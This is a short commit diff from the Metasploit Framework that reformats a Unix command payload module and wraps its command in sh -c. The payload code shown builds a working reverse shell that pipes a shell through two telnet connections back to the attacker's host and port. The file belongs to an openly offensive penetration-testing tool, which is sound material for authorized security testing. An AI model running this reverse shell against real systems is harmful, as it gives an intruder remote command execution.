Minor tweak (run inside of sh -c '')

git-svn-id: file:///home/svn/framework3/trunk@8107 4d416f70-5f16-0410-b530-b9f4589650da

modules/payloads/singles/cmd/unix/reverse.rb

@@ -3,7 +3,7 @@
 ##
 
 ##
-# This file is part of the Metasploit Framework and may be subject to 
+# This file is part of the Metasploit Framework and may be subject to
 # redistribution and commercial restrictions. Please see the Metasploit
 # Framework web site for more information on licensing and terms of use.
 # http://metasploit.com/framework/
@@ -31,7 +31,7 @@ module Metasploit3
 			'Handler'       => Msf::Handler::ReverseTcpDouble,
 			'Session'       => Msf::Sessions::CommandShell,
 			'PayloadType'   => 'cmd',
-			'RequiredCmd'   => 'telnet',			
+			'RequiredCmd'   => 'telnet',
 			'Payload'       =>
 				{
 					'Offsets' => { },
@@ -46,18 +46,19 @@ module Metasploit3
 	def generate
 		return super + command_string
 	end
-	
+
 	#
 	# Returns the command string to use for execution
 	#
 	def command_string
 		cmd =
-			"(sleep #{3600+rand(1024)}|" +
+			"sh -c '(sleep #{3600+rand(1024)}|" +
 			"telnet #{datastore['LHOST']} #{datastore['LPORT']}|" +
 			"while : ; do sh && break; done 2>&1|" +
 			"telnet #{datastore['LHOST']} #{datastore['LPORT']}" +
-			" >/dev/null 2>&1 &)"
+			" >/dev/null 2>&1 &)'"
 		return cmd
 	end
 
 end
+